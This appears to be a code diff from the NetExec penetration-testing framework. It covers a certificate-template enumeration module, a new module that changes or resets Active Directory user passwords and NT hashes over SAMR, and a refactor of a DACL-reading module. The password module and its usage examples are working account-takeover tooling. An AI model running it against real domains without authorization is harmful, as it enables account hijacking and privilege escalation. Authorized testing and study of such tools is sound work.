# Get templates and CAs
|
||||
templates = finder.get_certificate_templates()
|
||||
cas = finder.get_certificate_authorities()
|
||||
finder._link_cas_and_templates(cas, templates)
|
||||
|
||||
# Get OIDs
|
||||
oids = finder.get_issuance_policies()
|
||||
|
||||
# Process information
|
||||
finder._link_templates_and_policies(templates, oids)
|
||||
finder._process_ca_properties(cas)
|
||||
finder._process_template_properties(templates)
|
||||
|
||||
output = finder.get_output_for_text_and_json(templates, cas, oids)
|
||||
pretty_print(output, print_func=context.log.highlight)
|
||||
|
||||
# Save to disk if any export option specified
|
||||
if self.json or self.csv or self.text:
|
||||
makedirs(self.output_path, exist_ok=True)
|
||||
|
||||
filename = f"certipy_{connection.hostname}_{connection.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-")
|
||||
if self.json:
|
||||
with open(f"{self.output_path}/{filename}.json", "w") as f:
|
||||
json.dump(
|
||||
output,
|
||||
f,
|
||||
indent=2,
|
||||
default=str,
|
||||
)
|
||||
if self.csv:
|
||||
template_output = finder.get_template_output_for_csv(output)
|
||||
ca_output = finder.get_ca_output_for_csv(output)
|
||||
with open(f"{self.output_path}/{filename}-templates.csv", "w") as f:
|
||||
f.write(template_output)
|
||||
with open(f"{self.output_path}/{filename}-cas.csv", "w") as f:
|
||||
f.write(ca_output)
|
||||
if self.text:
|
||||
with open(f"{self.output_path}/{filename}.txt", "w") as f:
|
||||
pretty_print(output, print_func=lambda x: f.write(x + "\n"))
|
||||
@@ -0,0 +1,159 @@
|
||||
import sys
|
||||
from impacket.dcerpc.v5 import samr, epm, transport
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Module for changing or resetting user passwords
|
||||
Module by Fagan Afandiyev, termanix and NeffIsBack
|
||||
"""
|
||||
|
||||
name = "change-password"
|
||||
description = "Change or reset user passwords via various protocols"
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.PRIVILEGE_ESCALATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
Required (one of):
|
||||
NEWPASS The new password of the user.
|
||||
NEWNTHASH The new NT hash of the user.
|
||||
|
||||
Optional:
|
||||
USER The user account if the target is not the current user.
|
||||
|
||||
Examples
|
||||
--------
|
||||
If STATUS_PASSWORD_MUST_CHANGE or STATUS_PASSWORD_EXPIRED (Change password for current user)
|
||||
netexec smb <DC_IP> -u username -p oldpass -M change-password -o NEWNTHASH='nthash'
|
||||
netexec smb <DC_IP> -u username -H oldnthash -M change-password -o NEWPASS='newpass'
|
||||
|
||||
If want to change other user's password (with forcechangepassword priv or admin rights)
|
||||
netexec smb <DC_IP> -u username -p password -M change-password -o USER='target_user' NEWPASS='target_user_newpass'
|
||||
netexec smb <DC_IP> -u username -p password -M change-password -o USER='target_user' NEWNTHASH='target_user_newnthash'
|
||||
"""
|
||||
self.newpass = module_options.get("NEWPASS")
|
||||
self.newhash = module_options.get("NEWNTHASH")
|
||||
self.target_user = module_options.get("USER")
|
||||
|
||||
if not self.newpass and not self.newhash:
|
||||
context.log.fail("Either NEWPASS or NEWNTHASH is required!")
|
||||
sys.exit(1)
|
||||
|
||||
def authenticate(self, context, connection, protocol, anonymous=False):
|
||||
# Authenticate to the target using DCE/RPC with either user credentials or a null session. Establishes a connection and binds to the SAMR service.
|
||||
try:
|
||||
# Map to the SAMR endpoint on the target
|
||||
string_binding = epm.hept_map(connection.host, samr.MSRPC_UUID_SAMR, protocol=protocol)
|
||||
rpctransport = transport.DCERPCTransportFactory(string_binding)
|
||||
rpctransport.setRemoteHost(connection.host)
|
||||
|
||||
if anonymous:
|
||||
rpctransport.set_credentials("", "", "", "", "", "")
|
||||
rpctransport.set_kerberos(False, None)
|
||||
context.log.info("Connecting with null session credentials.")
|
||||
else:
|
||||
rpctransport.set_credentials(
|
||||
connection.username,
|
||||
connection.password,
|
||||
connection.domain,
|
||||
connection.lmhash,
|
||||
connection.nthash,
|
||||
aesKey=connection.aesKey,
|
||||
)
|
||||
context.log.info(f"Connecting as {connection.domain}\\{connection.username}")
|
||||
|
||||
# Connect to the DCE/RPC endpoint and bind to the SAMR service
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
dce.connect()
|
||||
context.log.info("[+] Successfully connected to DCE/RPC")
|
||||
dce.bind(samr.MSRPC_UUID_SAMR)
|
||||
context.log.info("[+] Successfully bound to SAMR")
|
||||
return dce
|
||||
except DCERPCException as e:
|
||||
context.log.fail(f"DCE/RPC Exception: {e!s}")
|
||||
raise
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.context = context
|
||||
target_username = self.target_user or connection.username
|
||||
target_domain = connection.domain
|
||||
|
||||
# Grab all creds from the connection to use for authentication
|
||||
self.oldpass = connection.password
|
||||
self.oldhash = connection.nthash
|
||||
|
||||
new_lmhash, new_nthash = "", ""
|
||||
|
||||
# Parse new hash values if provided
|
||||
if self.newhash:
|
||||
try:
|
||||
new_lmhash, new_nthash = self.newhash.split(":")
|
||||
except ValueError:
|
||||
new_nthash = self.newhash
|
||||
|
||||
try:
|
||||
self.anonymous = False
|
||||
self.dce = self.authenticate(context, connection, protocol="ncacn_np", anonymous=self.anonymous)
|
||||
except Exception as e:
|
||||
# Handle specific errors like password expiration or must be change
|
||||
if "STATUS_PASSWORD_MUST_CHANGE" in str(e) or "STATUS_PASSWORD_EXPIRED" in str(e):
|
||||
context.log.warning("Password must be changed. Trying with null session.")
|
||||
self.anonymous = True
|
||||
self.dce = self.authenticate(context, connection, protocol="ncacn_ip_tcp", anonymous=self.anonymous)
|
||||
elif "STATUS_LOGON_FAILURE" in str(e):
|
||||
context.log.fail("Authentication failure: wrong credentials.")
|
||||
return False
|
||||
else:
|
||||
raise
|
||||
|
||||
try:
|
||||
# Perform the SMB SAMR password change
|
||||
self._smb_samr_change(context, connection, target_username, target_domain, self.oldhash, self.newpass, new_nthash)
|
||||
|
||||
# Remove user if exists to avoid outdated credentials when we update plaintext password, but hash exists (or vice versa)
|
||||
user = self.context.db.get_user(target_domain, target_username)
|
||||
user_ids = [row[0] for row in user]
|
||||
self.context.db.remove_credentials(user_ids)
|
||||
|
||||
# Store the new credentials in the database
|
||||
if new_nthash:
|
||||
self.context.db.add_credential("hash", target_domain, target_username, new_nthash)
|
||||
else:
|
||||
self.context.db.add_credential("plaintext", target_domain, target_username, self.newpass)
|
||||
except Exception as e:
|
||||
context.log.fail(f"SMB-SAMR password change failed: {e}")
|
||||
finally:
|
||||
self.dce.disconnect()
|
||||
|
||||
def _smb_samr_change(self, context, connection, target_username, target_domain, oldHash, newPassword, newHash):
|
||||
# Reset the password for a different user
|
||||
if target_username != connection.username:
|
||||
user_handle = self._hSamrOpenUser(connection, target_username)
|
||||
samr.hSamrSetNTInternal1(self.dce, user_handle, newPassword, newHash)
|
||||
context.log.success(f"Successfully changed password for {target_username}")
|
||||
else:
|
||||
# Change password for the current user
|
||||
if newPassword:
|
||||
# Change the password with new password
|
||||
samr.hSamrUnicodeChangePasswordUser2(self.dce, "\x00", target_username, self.oldpass, newPassword, "", oldHash)
|
||||
else:
|
||||
# Change the password with new hash
|
||||
user_handle = self._hSamrOpenUser(connection, target_username)
|
||||
samr.hSamrChangePasswordUser(self.dce, user_handle, self.oldpass, "", oldHash, "aad3b435b51404eeaad3b435b51404ee", newHash)
|
||||
context.log.highlight("Note: Target user must change password at next logon.")
|
||||
context.log.success(f"Successfully changed password for {target_username}")
|
||||
|
||||
def _hSamrOpenUser(self, connection, username):
|
||||
"""Get handle to the user object"""
|
||||
try:
|
||||
# Connect to the target server and retrieve handles
|
||||
server_handle = samr.hSamrConnect(self.dce, connection.host + "\x00")["ServerHandle"]
|
||||
domain_sid = samr.hSamrLookupDomainInSamServer(self.dce, server_handle, connection.domain)["DomainId"]
|
||||
domain_handle = samr.hSamrOpenDomain(self.dce, server_handle, domainId=domain_sid)["DomainHandle"]
|
||||
user_rid = samr.hSamrLookupNamesInDomain(self.dce, domain_handle, (username,))["RelativeIds"]["Element"][0]
|
||||
return samr.hSamrOpenUser(self.dce, domain_handle, userId=user_rid)["UserHandle"]
|
||||
except Exception as e:
|
||||
self.context.log.fail(f"Failed to open user: {e}")
|
||||
File diff suppressed because it is too large.
Load diff
+120
-190
@@ -1,16 +1,17 @@
|
||||
import binascii
|
||||
import codecs
|
||||
import json
|
||||
import re
|
||||
import datetime
|
||||
from enum import Enum
|
||||
from impacket.ldap import ldaptypes
|
||||
from impacket.uuid import bin_to_string
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.msada_guids import SCHEMA_OBJECTS, EXTENDED_RIGHTS
|
||||
from ldap3.protocol.formatters.formatters import format_sid
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
from ldap3.utils.conv import escape_filter_chars
|
||||
from ldap3.protocol.microsoft import security_descriptor_control
|
||||
import sys
|
||||
import traceback
|
||||
from os.path import isfile
|
||||
|
||||
OBJECT_TYPES_GUID = {}
|
||||
OBJECT_TYPES_GUID.update(SCHEMA_OBJECTS)
|
||||
@@ -188,6 +189,12 @@ class ALLOWED_OBJECT_ACE_MASK_FLAGS(Enum):
|
||||
Self = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_SELF
|
||||
|
||||
|
||||
SEARCH_FILTERS = {
|
||||
"TARGET": lambda target: f"(sAMAccountName={escape_filter_chars(target)})",
|
||||
"TARGET_DN": lambda target: f"(distinguishedName={escape_filter_chars(target)})"
|
||||
}
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""Module to read and backup the Discretionary Access Control List of one or multiple objects.
|
||||
|
||||
@@ -199,16 +206,23 @@ class NXCModule:
|
||||
name = "daclread"
|
||||
description = "Read and backup the Discretionary Access Control List of objects. Be careful, this module cannot read the DACLS recursively, see more explanation in the options."
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = False
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
|
||||
# Initialize module variables
|
||||
self.principal_sAMAccountName = None
|
||||
self.principal_sid = None
|
||||
self.action = "read"
|
||||
self.ace_type = "allowed"
|
||||
self.rights = None
|
||||
self.rights_guid = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
Be careful, this module cannot read the DACLS recursively.
|
||||
Be careful, this module cannot read the DACLS recursively.
|
||||
For example, if an object has particular rights because it belongs to a group, the module will not be able to see it directly, you have to check the group rights manually.
|
||||
|
||||
TARGET The objects that we want to read or backup the DACLs, specified by its SamAccountName
|
||||
@@ -227,213 +241,134 @@ class NXCModule:
|
||||
context.log.fail("Select an option, example: -M daclread -o TARGET=Administrator ACTION=read")
|
||||
sys.exit(1)
|
||||
|
||||
if module_options and "TARGET" in module_options:
|
||||
context.log.debug("There is a target specified!")
|
||||
if re.search(r"^(.+)\/([^\/]+)$", module_options["TARGET"]) is not None:
|
||||
try:
|
||||
self.target_file = open(module_options["TARGET"]) # noqa: SIM115
|
||||
self.target_sAMAccountName = None
|
||||
except Exception:
|
||||
context.log.fail("The file doesn't exist or cannot be openned.")
|
||||
else:
|
||||
context.log.debug(f"Setting target_sAMAccountName to {module_options['TARGET']}")
|
||||
self.target_sAMAccountName = module_options["TARGET"]
|
||||
self.target_file = None
|
||||
self.target_DN = None
|
||||
self.targets = []
|
||||
self.target_SID = None
|
||||
if module_options and "TARGET_DN" in module_options:
|
||||
self.target_DN = module_options["TARGET_DN"]
|
||||
self.target_sAMAccountName = None
|
||||
self.target_file = None
|
||||
|
||||
if module_options and "PRINCIPAL" in module_options:
|
||||
for option in "TARGET", "TARGET_DN":
|
||||
if option in module_options:
|
||||
context.log.debug("There is a target specified!")
|
||||
if isfile(module_options[option]):
|
||||
try:
|
||||
target_file = open(module_options[option]) # noqa: SIM115
|
||||
for line in target_file:
|
||||
context.log.debug(f"Adding target from file: {line}")
|
||||
self.targets.append((line.strip(), SEARCH_FILTERS[option]))
|
||||
except Exception:
|
||||
context.log.fail("The file doesn't exist or cannot be opened.")
|
||||
else:
|
||||
context.log.debug(f"Adding target: {module_options[option]}")
|
||||
self.targets.append((module_options[option].strip(), SEARCH_FILTERS[option]))
|
||||
|
||||
if not self.targets:
|
||||
context.log.fail("No target specified, please specify at least one target with the TARGET or TARGET_DN options.")
|
||||
sys.exit(1)
|
||||
|
||||
if "PRINCIPAL" in module_options:
|
||||
self.principal_sAMAccountName = module_options["PRINCIPAL"]
|
||||
else:
|
||||
self.principal_sAMAccountName = None
|
||||
self.principal_sid = None
|
||||
|
||||
if module_options and "ACTION" in module_options:
|
||||
if "ACTION" in module_options:
|
||||
self.action = module_options["ACTION"]
|
||||
else:
|
||||
self.action = "read"
|
||||
if module_options and "ACE_TYPE" in module_options:
|
||||
|
||||
if "ACE_TYPE" in module_options:
|
||||
self.ace_type = module_options["ACE_TYPE"]
|
||||
else:
|
||||
self.ace_type = "allowed"
|
||||
if module_options and "RIGHTS" in module_options:
|
||||
|
||||
if "RIGHTS" in module_options:
|
||||
self.rights = module_options["RIGHTS"]
|
||||
else:
|
||||
self.rights = None
|
||||
if module_options and "RIGHTS_GUID" in module_options:
|
||||
|
||||
if "RIGHTS_GUID" in module_options:
|
||||
self.rights_guid = module_options["RIGHTS_GUID"]
|
||||
else:
|
||||
self.rights_guid = None
|
||||
self.filename = None
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.context = context
|
||||
"""On a successful LDAP login we perform a search for the targets' SID, their Security Descriptors and the principal's SID if there is one specified"""
|
||||
context.log.highlight("Be careful, this module cannot read the DACLS recursively.")
|
||||
self.baseDN = connection.ldapConnection._baseDN
|
||||
self.ldap_session = connection.ldapConnection
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
|
||||
# Searching for the principal SID
|
||||
if self.principal_sAMAccountName is not None:
|
||||
_lookedup_principal = self.principal_sAMAccountName
|
||||
try:
|
||||
self.principal_sid = format_sid(
|
||||
self.ldap_session.search(
|
||||
searchBase=self.baseDN,
|
||||
searchFilter=f"(sAMAccountName={escape_filter_chars(_lookedup_principal)})",
|
||||
attributes=["objectSid"],
|
||||
)[0][1][0][1][0]
|
||||
resp = connection.search(
|
||||
searchFilter=f"(sAMAccountName={escape_filter_chars(self.principal_sAMAccountName)})",
|
||||
attributes=["objectSid"],
|
||||
)
|
||||
resp_parsed = parse_result_attributes(resp)[0]
|
||||
self.principal_sid = resp_parsed["objectSid"]
|
||||
context.log.highlight(f"Found principal SID to filter on: {self.principal_sid}")
|
||||
except Exception:
|
||||
context.log.fail(f"Principal SID not found in LDAP ({_lookedup_principal})")
|
||||
sys.exit(1)
|
||||
except Exception as e:
|
||||
context.log.fail(f"Principal SID not found in LDAP ({self.principal_sAMAccountName})")
|
||||
context.log.debug(f"Exception: {e}, {traceback.format_exc()}")
|
||||
return
|
||||
|
||||
# Searching for the targets SID and their Security Descriptors
|
||||
# If there is only one target
|
||||
if (self.target_sAMAccountName or self.target_DN) and self.target_file is None:
|
||||
# Searching for target account with its security descriptor
|
||||
for target, search_filter in self.targets:
|
||||
try:
|
||||
self.search_target_principal_security_descriptor(context, connection)
|
||||
# Searching for target account with its security descriptor
|
||||
resp = connection.search(
|
||||
searchFilter=search_filter(target),
|
||||
attributes=["distinguishedName", "nTSecurityDescriptor"],
|
||||
searchControls=security_descriptor_control(sdflags=0x04),
|
||||
)
|
||||
resp_parsed = parse_result_attributes(resp)[0]
|
||||
|
||||
# Extract security descriptor data
|
||||
self.target_principal_dn = self.target_principal[0]
|
||||
self.principal_raw_security_descriptor = str(self.target_principal[1][0][1][0]).encode("latin-1")
|
||||
self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=self.principal_raw_security_descriptor)
|
||||
context.log.highlight(f"Target principal found in LDAP ({self.target_principal[0]})")
|
||||
except Exception:
|
||||
context.log.fail(f"Target SID not found in LDAP ({self.target_sAMAccountName})")
|
||||
sys.exit(1)
|
||||
target_principal_dn = resp_parsed["distinguishedName"]
|
||||
principal_raw_security_descriptor = resp_parsed["nTSecurityDescriptor"]
|
||||
principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=principal_raw_security_descriptor)
|
||||
context.log.highlight(f"Target principal found in LDAP ({target_principal_dn})")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Target SID not found in LDAP ({target})")
|
||||
context.log.debug(f"Exception: {e}, {traceback.format_exc()}")
|
||||
continue
|
||||
|
||||
if self.action == "read":
|
||||
self.read(context)
|
||||
self.read(principal_security_descriptor)
|
||||
if self.action == "backup":
|
||||
self.backup(context)
|
||||
|
||||
# If there are multiple targets
|
||||
else:
|
||||
targets = self.target_file.readlines()
|
||||
for target in targets:
|
||||
try:
|
||||
self.target_sAMAccountName = target.strip()
|
||||
# Searching for target account with its security descriptor
|
||||
self.search_target_principal_security_descriptor(context, connection)
|
||||
# Extract security descriptor data
|
||||
self.target_principal_dn = self.target_principal[0]
|
||||
self.principal_raw_security_descriptor = str(self.target_principal[1][0][1][0]).encode("latin-1")
|
||||
self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=self.principal_raw_security_descriptor)
|
||||
context.log.highlight(f"Target principal found in LDAP ({self.target_sAMAccountName})")
|
||||
except Exception:
|
||||
context.log.fail(f"Target SID not found in LDAP ({self.target_sAMAccountName})")
|
||||
continue
|
||||
|
||||
if self.action == "read":
|
||||
self.read(context)
|
||||
if self.action == "backup":
|
||||
self.backup(context)
|
||||
self.backup(target, target_principal_dn, principal_raw_security_descriptor)
|
||||
|
||||
# Main read funtion
|
||||
# Prints the parsed DACL
|
||||
def read(self, context):
|
||||
parsed_dacl = self.parse_dacl(context, self.principal_security_descriptor["Dacl"])
|
||||
self.print_parsed_dacl(context, parsed_dacl)
|
||||
def read(self, principal_security_descriptor):
|
||||
parsed_dacl = self.parse_dacl(principal_security_descriptor["Dacl"])
|
||||
self.print_parsed_dacl(parsed_dacl)
|
||||
|
||||
# Permits to export the DACL of the targets
|
||||
# This function is called before any writing action (write, remove or restore)
|
||||
def backup(self, context):
|
||||
def backup(self, target, target_principal_dn, principal_raw_security_descriptor):
|
||||
backup = {}
|
||||
backup["sd"] = binascii.hexlify(self.principal_raw_security_descriptor).decode("latin-1")
|
||||
backup["dn"] = str(self.target_principal_dn)
|
||||
if not self.filename:
|
||||
self.filename = "dacledit-{}-{}.bak".format(
|
||||
datetime.datetime.now().strftime("%Y%m%d-%H%M%S"),
|
||||
self.target_sAMAccountName,
|
||||
)
|
||||
with codecs.open(self.filename, "w", "latin-1") as outfile:
|
||||
backup["sd"] = binascii.hexlify(principal_raw_security_descriptor).decode("latin-1")
|
||||
backup["dn"] = str(target_principal_dn)
|
||||
|
||||
timestamp = datetime.datetime.now().strftime("%Y%m%d-%H%M%S")
|
||||
filename = f"dacledit-{timestamp}-{target}.bak"
|
||||
with open(filename, "w", encoding="latin-1") as outfile:
|
||||
json.dump(backup, outfile)
|
||||
context.log.highlight("DACL backed up to %s", self.filename)
|
||||
self.filename = None
|
||||
self.context.log.highlight(f"DACL backed up to {filename}")
|
||||
|
||||
# Attempts to retrieve the DACL in the Security Descriptor of the specified target
|
||||
def search_target_principal_security_descriptor(self, context, connection):
|
||||
_lookedup_principal = ""
|
||||
# Set SD flags to only query for DACL
|
||||
controls = security_descriptor_control(sdflags=0x04)
|
||||
if self.target_sAMAccountName is not None:
|
||||
_lookedup_principal = self.target_sAMAccountName
|
||||
target = self.ldap_session.search(
|
||||
searchBase=self.baseDN,
|
||||
searchFilter=f"(sAMAccountName={escape_filter_chars(_lookedup_principal)})",
|
||||
attributes=["nTSecurityDescriptor"],
|
||||
searchControls=controls,
|
||||
)
|
||||
if self.target_DN is not None:
|
||||
_lookedup_principal = self.target_DN
|
||||
target = self.ldap_session.search(
|
||||
searchBase=self.baseDN,
|
||||
searchFilter=f"(distinguishedName={_lookedup_principal})",
|
||||
attributes=["nTSecurityDescriptor"],
|
||||
searchControls=controls,
|
||||
)
|
||||
try:
|
||||
self.target_principal = target[0]
|
||||
except Exception:
|
||||
context.log.fail(f"Principal not found in LDAP ({_lookedup_principal}), probably an LDAP session issue.")
|
||||
sys.exit(0)
|
||||
|
||||
# Attempts to retrieve the SID and Distinguisehd Name from the sAMAccountName
|
||||
# Not used for the moment
|
||||
# - samname : a sAMAccountName
|
||||
def get_user_info(self, context, samname):
|
||||
self.ldap_session.search(
|
||||
searchBase=self.baseDN,
|
||||
searchFilter=f"(sAMAccountName={escape_filter_chars(samname)})",
|
||||
attributes=["objectSid"],
|
||||
)
|
||||
try:
|
||||
dn = self.ldap_session.entries[0].entry_dn
|
||||
sid = format_sid(self.ldap_session.entries[0]["objectSid"].raw_values[0])
|
||||
return dn, sid
|
||||
except Exception:
|
||||
context.log.fail(f"User not found in LDAP: {samname}")
|
||||
return False
|
||||
|
||||
# Attempts to resolve a SID and return the corresponding samaccountname
|
||||
# - sid : the SID to resolve
|
||||
def resolveSID(self, context, sid):
|
||||
def resolveSID(self, sid):
|
||||
"""Resolves a SID to its corresponding sAMAccountName."""
|
||||
# Tries to resolve the SID from the well known SIDs
|
||||
if sid in WELL_KNOWN_SIDS:
|
||||
return WELL_KNOWN_SIDS[sid]
|
||||
|
||||
# Tries to resolve the SID from the LDAP domain dump
|
||||
else:
|
||||
try:
|
||||
self.ldap_session.search(
|
||||
searchBase=self.baseDN,
|
||||
searchFilter=f"(objectSid={sid})",
|
||||
attributes=["sAMAccountName"],
|
||||
)[0][0]
|
||||
return self.ldap_session.search(
|
||||
searchBase=self.baseDN,
|
||||
searchFilter=f"(objectSid={sid})",
|
||||
attributes=["sAMAccountName"],
|
||||
)[0][1][0][1][0]
|
||||
except Exception:
|
||||
context.log.debug(f"SID not found in LDAP: {sid}")
|
||||
return ""
|
||||
try:
|
||||
resp = self.connection.search(
|
||||
searchFilter=f"(objectSid={sid})",
|
||||
attributes=["sAMAccountName"],
|
||||
)
|
||||
return parse_result_attributes(resp)[0]["sAMAccountName"]
|
||||
except Exception:
|
||||
self.context.log.debug(f"SID not found in LDAP: {sid}")
|
||||
return ""
|
||||
|
||||
# Parses a full DACL
|
||||
# - dacl : the DACL to parse, submitted in a Security Desciptor format
|
||||
def parse_dacl(self, context, dacl):
|
||||
def parse_dacl(self, dacl):
|
||||
parsed_dacl = []
|
||||
context.log.debug("Parsing DACL")
|
||||
i = 0
|
||||
self.context.log.debug("Parsing DACL")
|
||||
for ace in dacl["Data"]:
|
||||
parsed_ace = self.parse_ace(context, ace)
|
||||
parsed_ace = self.parse_ace(ace)
|
||||
parsed_dacl.append(parsed_ace)
|
||||
i += 1
|
||||
return parsed_dacl
|
||||
|
||||
# Parses an access mask to extract the different values from a simple permission
|
||||
@@ -447,7 +382,7 @@ class NXCModule:
|
||||
|
||||
# Parses a specified ACE and extract the different values (Flags, Access Mask, Trustee, ObjectType, InheritedObjectType)
|
||||
# - ace : the ACE to parse
|
||||
def parse_ace(self, context, ace):
|
||||
def parse_ace(self, ace):
|
||||
# For the moment, only the Allowed and Denied Access ACE are supported
|
||||
if ace["TypeName"] in [
|
||||
"ACCESS_ALLOWED_ACE",
|
||||
@@ -462,7 +397,7 @@ class NXCModule:
|
||||
# Extracts the access mask (by parsing the simple permissions) and the principal's SID
|
||||
if ace["TypeName"] in ["ACCESS_ALLOWED_ACE", "ACCESS_DENIED_ACE"]:
|
||||
access_mask = f"{', '.join(self.parse_perms(ace['Ace']['Mask']['Mask']))} (0x{ace['Ace']['Mask']['Mask']:x})"
|
||||
trustee_sid = f"{self.resolveSID(context, ace['Ace']['Sid'].formatCanonical()) or 'UNKNOWN'} ({ace['Ace']['Sid'].formatCanonical()})"
|
||||
trustee_sid = f"{self.resolveSID(ace['Ace']['Sid'].formatCanonical()) or 'UNKNOWN'} ({ace['Ace']['Sid'].formatCanonical()})"
|
||||
parsed_ace = {
|
||||
"Access mask": access_mask,
|
||||
"Trustee (SID)": trustee_sid
|
||||
@@ -489,12 +424,9 @@ class NXCModule:
|
||||
except KeyError:
|
||||
parsed_ace["Inherited type (GUID)"] = f"UNKNOWN ({inh_obj_type})"
|
||||
# Extract the Trustee SID (the object that has the right over the DACL bearer)
|
||||
parsed_ace["Trustee (SID)"] = "{} ({})".format(
|
||||
self.resolveSID(context, ace["Ace"]["Sid"].formatCanonical()) or "UNKNOWN",
|
||||
ace["Ace"]["Sid"].formatCanonical(),
|
||||
)
|
||||
parsed_ace["Trustee (SID)"] = f"{self.resolveSID(ace['Ace']['Sid'].formatCanonical()) or 'UNKNOWN'} ({ace['Ace']['Sid'].formatCanonical()})"
|
||||
else: # if the ACE is not an access allowed
|
||||
context.log.debug(f"ACE Type ({ace['TypeName']}) unsupported for parsing yet, feel free to contribute")
|
||||
self.context.log.debug(f"ACE Type ({ace['TypeName']}) unsupported for parsing yet, feel free to contribute")
|
||||
_ace_flags = [FLAG.name for FLAG in ACE_FLAGS if ace.hasFlag(FLAG.value)]
|
||||
parsed_ace = {
|
||||
"ACE type": ace["TypeName"],
|
||||
@@ -503,19 +435,18 @@ class NXCModule:
|
||||
}
|
||||
return parsed_ace
|
||||
|
||||
def print_parsed_dacl(self, context, parsed_dacl):
|
||||
def print_parsed_dacl(self, parsed_dacl):
|
||||
"""Prints a full DACL by printing each parsed ACE
|
||||
|
||||
|
||||
parsed_dacl : a parsed DACL from parse_dacl()
|
||||
"""
|
||||
context.log.debug("Printing parsed DACL")
|
||||
i = 0
|
||||
self.context.log.debug("Printing parsed DACL")
|
||||
# If a specific right or a specific GUID has been specified, only the ACE with this right will be printed
|
||||
# If an ACE type has been specified, only the ACE with this type will be specified
|
||||
# If a principal has been specified, only the ACE where he is the trustee will be printed
|
||||
for parsed_ace in parsed_dacl:
|
||||
for i, parsed_ace in enumerate(parsed_dacl):
|
||||
print_ace = True
|
||||
context.log.debug(f"{parsed_ace=}, {self.rights=}, {self.rights_guid=}, {self.ace_type=}, {self.principal_sid=}")
|
||||
self.context.log.debug(f"{parsed_ace=}, {self.rights=}, {self.rights_guid=}, {self.ace_type=}, {self.principal_sid=}")
|
||||
|
||||
# Filter on specific rights
|
||||
if self.rights is not None:
|
||||
@@ -529,7 +460,7 @@ class NXCModule:
|
||||
if (self.rights == "ResetPassword") and (("Object type (GUID)" not in parsed_ace) or (RIGHTS_GUID.ResetPassword.value not in parsed_ace["Object type (GUID)"])):
|
||||
print_ace = False
|
||||
except Exception as e:
|
||||
context.log.debug(f"Error filtering with {parsed_ace=} and {self.rights=}, probably because of ACE type unsupported for parsing yet ({e})")
|
||||
self.context.log.debug(f"Error filtering with {parsed_ace=} and {self.rights=}, probably because of ACE type unsupported for parsing yet ({e})")
|
||||
|
||||
# Filter on specific right GUID
|
||||
if self.rights_guid is not None:
|
||||
@@ -537,7 +468,7 @@ class NXCModule:
|
||||
if ("Object type (GUID)" not in parsed_ace) or (self.rights_guid not in parsed_ace["Object type (GUID)"]):
|
||||
print_ace = False
|
||||
except Exception as e:
|
||||
context.log.debug(f"Error filtering with {parsed_ace=} and {self.rights_guid=}, probably because of ACE type unsupported for parsing yet ({e})")
|
||||
self.context.log.debug(f"Error filtering with {parsed_ace=} and {self.rights_guid=}, probably because of ACE type unsupported for parsing yet ({e})")
|
||||
|
||||
# Filter on ACE type
|
||||
if self.ace_type == "allowed":
|
||||
@@ -545,13 +476,13 @@ class NXCModule:
|
||||
if ("ACCESS_ALLOWED_OBJECT_ACE" not in parsed_ace["ACE Type"]) and ("ACCESS_ALLOWED_ACE" not in parsed_ace["ACE Type"]):
|
||||
print_ace = False
|
||||
except Exception as e:
|
||||
context.log.debug(f"Error filtering with {parsed_ace=} and {self.ace_type=}, probably because of ACE type unsupported for parsing yet ({e})")
|
||||
self.context.log.debug(f"Error filtering with {parsed_ace=} and {self.ace_type=}, probably because of ACE type unsupported for parsing yet ({e})")
|
||||
else:
|
||||
try:
|
||||
if ("ACCESS_DENIED_OBJECT_ACE" not in parsed_ace["ACE Type"]) and ("ACCESS_DENIED_ACE" not in parsed_ace["ACE Type"]):
|
||||
print_ace = False
|
||||
except Exception as e:
|
||||
context.log.debug(f"Error filtering with {parsed_ace=} and {self.ace_type=}, probably because of ACE type unsupported for parsing yet ({e})")
|
||||
self.context.log.debug(f"Error filtering with {parsed_ace=} and {self.ace_type=}, probably because of ACE type unsupported for parsing yet ({e})")
|
||||
|
||||
# Filter on trusted principal
|
||||
if self.principal_sid is not None:
|
||||
@@ -559,18 +490,17 @@ class NXCModule:
|
||||
if self.principal_sid not in parsed_ace["Trustee (SID)"]:
|
||||
print_ace = False
|
||||
except Exception as e:
|
||||
context.log.debug(f"Error filtering with {parsed_ace=} and {self.principal_sid=}, probably because of ACE type unsupported for parsing yet ({e})")
|
||||
self.context.log.debug(f"Error filtering with {parsed_ace=} and {self.principal_sid=}, probably because of ACE type unsupported for parsing yet ({e})")
|
||||
if print_ace:
|
||||
self.context.log.highlight("%-28s" % "ACE[%d] info" % i)
|
||||
self.context.log.highlight(f"ACE[{i}] info")
|
||||
self.print_parsed_ace(parsed_ace)
|
||||
i += 1
|
||||
|
||||
# Prints properly a parsed ACE
|
||||
# - parsed_ace : a parsed ACE from parse_ace()
|
||||
def print_parsed_ace(self, parsed_ace):
|
||||
elements_name = list(parsed_ace.keys())
|
||||
for attribute in elements_name:
|
||||
self.context.log.highlight(" %-26s: %s" % (attribute, parsed_ace[attribute]))
|
||||
self.context.log.highlight(f"\t{attribute:<26}: {parsed_ace[attribute]}")
|
||||
|
||||
# Retrieves the GUIDs for the specified rights
|
||||
def build_guids_for_rights(self):
|
||||
|
